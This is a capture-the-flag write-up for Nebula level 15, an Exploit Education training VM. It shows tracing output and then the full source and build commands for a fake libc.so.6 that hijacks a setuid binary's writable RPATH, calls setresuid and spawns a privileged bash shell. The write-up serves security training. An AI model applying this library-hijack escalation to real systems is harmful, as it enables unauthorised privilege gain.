Exploit-Education Nebula Level 15
Exploit Education Level 15
Challenge
strace
the binary at /home/flag15/flag15
and see if you spot anything out of the ordinary.
You may wish to review how to “compile a shared library
in linux” and how the libraries are loaded and processed by reviewing the dlopen
manpage in depth.
Clean up after yourself :)
To do this level, log in as the level15
account with the password level15
. Files for this level can be found in /home/flag15
.
Analysis
Lets strace
it
level15@nebula:/home/flag15$ strace ./flag15
execve("./flag15", ["./flag15"], [/* 16 vars */]) = 0
brk(0) = 0x8ca5000
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7749000
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686/sse2/cmov", 0xbfc2d3c4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686/sse2", 0xbfc2d3c4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686/cmov", 0xbfc2d3c4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686", 0xbfc2d3c4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/sse2/cmov", 0xbfc2d3c4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/sse2", 0xbfc2d3c4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/cmov", 0xbfc2d3c4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls", 0xbfc2d3c4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686/sse2/cmov", 0xbfc2d3c4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686/sse2", 0xbfc2d3c4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686/cmov", 0xbfc2d3c4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686", 0xbfc2d3c4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/sse2/cmov", 0xbfc2d3c4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/sse2", 0xbfc2d3c4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/cmov", 0xbfc2d3c4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15", {st_mode=S_IFDIR|0775, st_size=3, ...}) = 0
open("/etc/ld.so.cache", O_RDONLY) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=33815, ...}) = 0
mmap2(NULL, 33815, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7740000
close(3) = 0
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/lib/i386-linux-gnu/libc.so.6", O_RDONLY) = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0p\222\1\0004\0\0\0"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1544392, ...}) = 0
mmap2(NULL, 1554968, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x9f8000
mmap2(0xb6e000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x176) = 0xb6e000
mmap2(0xb71000, 10776, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb71000
close(3) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb773f000
set_thread_area({entry_number:-1 -> 6, base_addr:0xb773f8d0, limit:1048575,
seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0
mprotect(0xb6e000, 8192, PROT_READ) = 0
mprotect(0x8049000, 4096, PROT_READ) = 0
mprotect(0x335000, 4096, PROT_READ) = 0
munmap(0xb7740000, 33815) = 0
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7748000
write(1, "strace it!\n", 11strace it!
) = 11
exit_group(11) = ?
So the program is looking for libc
file in certain directories and in the end it loads it form a default path.
open("/lib/i386-linux-gnu/libc.so.6", O_RDONLY) = 3
So if we compile our own library and place it one of the directories where the program is looking, we can manipulate function calls made to the library.
Lets run ltrace
and check the functions calls made to the shared library.
level15@nebula:/var/tmp/flag15/tls/i686/sse2/cmov$ ltrace /home/flag15/flag15
__libc_start_main(0x8048330, 1, 0xbfb8f614, 0x8048400, 0x8048470 <unfinished ...>
puts("strace it!"strace it!
) = 11
+++ exited (status 11) +++
We can see that the functions calls __libc_start_main
and puts
.
Lets do some analysis with objdump
level15@nebula:/home/flag15$ objdump -p flag15
Dynamic Section:
NEEDED libc.so.6
RPATH /var/tmp/flag15
INIT 0x080482c0
FINI 0x080484ac
GNU_HASH 0x080481ac
STRTAB 0x0804821c
SYMTAB 0x080481cc
STRSZ 0x0000005a
SYMENT 0x00000010
DEBUG 0x00000000
PLTGOT 0x08049ff4
PLTRELSZ 0x00000018
PLTREL 0x00000011
JMPREL 0x080482a8
REL 0x080482a0
RELSZ 0x00000008
RELENT 0x00000008
VERNEED 0x08048280
VERNEEDNUM 0x00000001
VERSYM 0x08048276
Version References:
required from libc.so.6:
0x0d696910 0x00 02 GLIBC_2.0
We can see that the program is compiled with RPATH
. Let check what that exactly means.
-rpath=dir Add a directory to the runtime library search path. This is used when linking an ELF executable with shared objects. All -rpath arguments are concatenated and passed to the runtime linker, which uses them to locate shared objects at runtime. The -rpath option is also used when locating shared objects which are needed by shared objects explicitly included in the link;
So when a program is compile with rpath
, the program looks for shared libraries in that specific path. In this case RPATH
points to /var/tmp/flag15
. So we can place our library file in the first path it searching.
open("/var/tmp/flag15/tls/i686/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
Solution
So my plan is to compile a shared library with the function __libc_start_main
so that the program executes our
custom function when the call is made.
So I looked up details on __libc_start_main
. Libc reference
int __libc_start_main(int *(main) (int, char * *, char * *), int argc, char * * ubp_av, void (*init) (void), void (*fini) (void),
void (*rtld_fini) (void), void (* stack_end));
So lets write our libc
using this.
level15@nebula:/var/tmp/flag15/tls/i686/sse2/cmov$ cat libc.c
#include <stdlib.h>
int __libc_start_main(int *(main) (int, char * *, char * *), int argc, char * * ubp_av, void (*init) (void), void (*fini) (void),
void (*rtld_fini) (void), void (* stack_end))
{
system("/bin/bash");
return 0;
}
I am executing a simple /bin/bash
shell when __libc_start_main
function is called.
Lets compile it as a shared library
level15@nebula:/var/tmp/flag15/tls/i686/sse2/cmov$ gcc -shared -fPIC -o libc.so.6 libc.c -lc
Now lets try running ltrace
level15@nebula:/var/tmp/flag15/tls/i686/sse2/cmov$ ltrace /home/flag15/flag15
/home/flag15/flag15: /var/tmp/flag15/tls/i686/sse2/cmov/libc.so.6: no version information available
(required by /home/flag15/flag15)
/home/flag15/flag15: /var/tmp/flag15/tls/i686/sse2/cmov/libc.so.6: no version information available
(required by /var/tmp/flag15/tls/i686/sse2/cmov/libc.so.6)
/home/flag15/flag15: /var/tmp/flag15/tls/i686/sse2/cmov/libc.so.6: no version information available
(required by /var/tmp/flag15/tls/i686/sse2/cmov/libc.so.6)
/home/flag15/flag15: relocation error: /var/tmp/flag15/tls/i686/sse2/cmov/libc.so.6:
symbol __cxa_finalize, version GLIBC_2.1.3 not defined in file libc.so.6 with link time reference
+++ exited (status 127) +++
It is throwing errors regarding the version of libc
and about not being able to find a symbol __cxa_finalize
.
So after some digging around I found a way to add version by using the script=<version-script>
argument. I also added the symbol __cxa_finalize();
. But it was still throwing errors and it was looking for another symbol. After some more tests I understood that the problem was that our libc
didn’t have enough content to run the system
command. I solved it by compiling the library with -static-libgcc
argument.
Contents of lib.c
file
level15@nebula:/var/tmp/flag15/tls/i686/sse2/cmov$ cat libc.c
#include <stdlib.h>
void __cxa_finalize();
int __libc_start_main(int *(main) (int, char * *, char * *), int argc, char * * ubp_av, void (*init) (void),
void (*fini) (void), void (*rtld_fini) (void), void (* stack_end))
{
system("/bin/bash");
return 0;
}
Lets compile it and run
level15@nebula:/var/tmp/flag15/tls/i686/sse2/cmov$ gcc -fPIC -shared -static-libgcc
-Wl,--version-script=version,-Bstatic -o libc.so.6 libc.c
level15@nebula:/var/tmp/flag15/tls/i686/sse2/cmov$ ltrace /home/flag15/flag15
__libc_start_main(0x8048330, 1, 0xbf9b75f4, 0x8048400, 0x8048470level15
@nebula:/var/tmp/flag15/tls/i686/sse2/cmov$ id
uid=1016(level15) gid=1016(level15) groups=1016(level15)
level15@nebula:/var/tmp/flag15/tls/i686/sse2/cmov$
It worked. The program made a call to __libc_start_main
and executed our system
command. But the uid
is ours.
The program dropped privileges when the system
call was made.
So I added the setresuid
function.
level15@nebula:/var/tmp/flag15/tls/i686/sse2/cmov$ cat libc.c
#include <stdlib.h>
void __cxa_finalize();
int __libc_start_main(int *(main) (int, char * *, char * *), int argc, char * * ubp_av, void (*init) (void),
void (*fini) (void), void (*rtld_fini) (void), void (* stack_end))
{
setresuid(geteuid(),geteuid(),geteuid());
system("/bin/bash");
return 0;
}
Lets compile it and run the program
level15@nebula:/var/tmp/flag15/tls/i686/sse2/cmov$ gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic
-o libc.so.6 libc.c
level15@nebula:/var/tmp/flag15/tls/i686/sse2/cmov$ /home/flag15/flag15
flag15@nebula:/var/tmp/flag15/tls/i686/sse2/cmov$ id
uid=984(flag15) gid=1016(level15) groups=984(flag15),1016(level15)
flag15@nebula:/var/tmp/flag15/tls/i686/sse2/cmov$ getflag
You have successfully executed getflag on a target account